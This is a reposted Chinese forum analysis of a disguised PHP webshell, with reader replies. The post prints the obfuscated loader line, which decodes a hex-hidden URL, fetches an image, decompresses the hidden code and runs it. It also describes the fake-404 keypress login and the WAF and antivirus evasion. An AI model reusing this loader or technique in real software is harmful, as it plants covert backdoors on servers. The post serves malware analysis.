吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 12930|回复: 21
收起左侧

[转载] 一款猥琐的PHP后门分析

  [复制链接]
tingfengniji 发表于 2014-3-31 11:49
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!

近日,360网站卫士安全团队近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。

Webshell代码如下:


关键看下面这句代码,

sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())

这里执行之后其实是一张图片,解密出来的图片地址如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85

然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,

<?phpecho gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())),3649));
?>

如图所示:


分析这段代码,发现这是一个伪装的404木马(这里实在是太猥琐了…),其实整个webshell就一个class外加三个function,如图


首先我先看一下它的前端html代码,其中有这么一段js程序

document.onkeydown = function(e) {
     vartheEvent = window.event || e;      
     var code = theEvent.keyCode || theEvent.which;
     if (80 == code) {
         $("login").style.display = "block"
     }
}

这里它用document.onkeydown获取用户敲击键盘事件,当code等于80的时候显示login这个div,这里查询了一下keyCode的对照表,查到80对应p和P键


所以触发webshell登陆需要按p键(不按P键页面就是一个空白页,看不到登陆框),如图所示:


再回到服务端php代码中,可以看到程序用的是对称加密,并且将登陆密码作为加密key,代码如图所示:


再看init()的逻辑


如图所示,先看这句代码

$true =@gzuncompress(gzuncompress(Crypt::decrypt(pack('H*',  '789c63ac0bbec7b494f12cdb02f6dfac3f833731cf093e163a892990793ebf0a9f1c6b18bb68983b3b47a022002a840c59'), $_POST['key'], true)));

根据这个解密逻辑我们可以推出,这里其实是将字符串true做了以下加密处理,

unpack('H*',Crypt::encrypt(gzcompress(gzcompress('true')),$_POST['key'] , true))

所以当输入正确密码的时候@gzuncompress返回字符串true,然后程序调用setcookie给客户端返回$_COOKIE[‘key’],然后值得提一下的是后面这个exit('{"status":"on"}'),这里它与前端代码联系很紧密,我们看前端有个callback函数,如下

function callback() {        
      varjson = eval("(" + this.responseText + ")");
      if (json.status=='on'){
             window.location.reload();return;   
      }        
      if (json.notice) {               
             $("notice").style.display = "block";               
             $("notice").innerHTML = json.notice;sideOut();        
      }
}

这里执行exit('{"status":"on"}')会返回json串{"status":"on"},此时前端js代码classback()获取到此响应会执行window.location.reload()刷新,再次请求正好带上前面获取的cookie,然后执行判断COOKIE的逻辑,如图所示


这里跟前面POST的逻辑一样,下面当判断为’true’以后,这里又请求了一张图片,pack出来地址为,然后调用_REQUEST获取图片内容,解密解压之后再eval,分析之后发现code.jpg中才是真正的webshell经过加密压缩之后的内容。这里我跟踪了一下代码打印出了真正执行的webshell的内容,


登陆成功之后如图所示:


总结:

这是一个高度隐蔽的webshell,它没有在其代码中用到一些危险函数和敏感字,而是将真正的shell内容经过层层加密处理之后保存到图片当中,丢到服务器上只留下一个url,并且url还是经过加密处理的,所以对外看没有任何特征可寻,过掉了大多数waf以及杀软的查杀。。作者的利用思路新颖,并且前端后端结合紧密,代码精简,各种奇技淫巧,有别于常见的webshell后门,令人佩服!


免费评分

参与人数 3吾爱币 +1 热心值 +3 收起 理由
ren88888888 + 1 + 1 这么厉害楼主
小野 + 1 我很赞同!
fanvalen + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

20281230 发表于 2014-3-31 11:53
谢谢楼主分享
cnmd357 发表于 2014-3-31 11:56
有点复杂,新手继续努力吧,顶一个先。收藏了!谢谢楼主
pengxy0725 发表于 2014-3-31 12:02
by冰雪 发表于 2014-3-31 12:03
LZ要是有JSP的后门源代码就好了
dina 发表于 2014-3-31 12:03
看看。。
倾诉 发表于 2014-3-31 12:04
这么牛啊、、、、
fanvalen 发表于 2014-3-31 12:37
很强大看来写shell的人很精通PHP
zndxcsu 发表于 2014-4-2 20:34
图有问题啊。。。怎么是内网的链接。。。
头像被屏蔽
我们会更好的 发表于 2014-4-2 21:32
提示: 作者被禁止或删除 内容自动屏蔽
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 14:03

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表